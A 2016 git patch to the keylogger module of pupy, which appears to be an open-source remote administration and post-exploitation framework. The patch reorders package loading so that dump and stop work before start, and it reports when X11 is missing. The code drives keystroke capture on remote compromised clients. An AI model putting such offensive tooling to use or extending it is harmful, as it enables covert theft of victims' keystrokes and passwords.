From 47a035b3e60a14c52e23e5d537f509c8058dafdb Mon Sep 17 00:00:00 2001 From: Alessandro ZANNI Date: Fri, 30 Sep 2016 18:55:44 +0200 Subject: [PATCH] fix keylogger bug (use dump or stop before the start option) --- pupy/modules/keylogger.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/pupy/modules/keylogger.py b/pupy/modules/keylogger.py index dcf6b12b..68062625 100644 --- a/pupy/modules/keylogger.py +++ b/pupy/modules/keylogger.py @@ -31,9 +31,13 @@ class KeyloggerModule(PupyModule): self.success("keylogger stopped") def run(self, args): + if self.client.is_windows(): + self.client.load_package("pupwinutils.keylogger") + else: + self.client.load_package("keylogger") + if args.action=="start": if self.client.is_windows(): - self.client.load_package("pupwinutils.keylogger") with redirected_stdio(self.client.conn): #to see the output exception in case of error if not self.client.conn.modules["pupwinutils.keylogger"].keylogger_start(): self.error("the keylogger is already started") @@ -41,9 +45,11 @@ class KeyloggerModule(PupyModule): self.success("keylogger started !") # not tested on android else: - self.client.load_package("keylogger") with redirected_stdio(self.client.conn): #to see the output exception in case of error - if not self.client.conn.modules["keylogger"].keylogger_start(): + r = self.client.conn.modules["keylogger"].keylogger_start() + if r == 'no_x11': + self.error("the keylogger does not work without x11 graphical interface") + elif not r: self.error("the keylogger is already started") else: self.success("keylogger started !")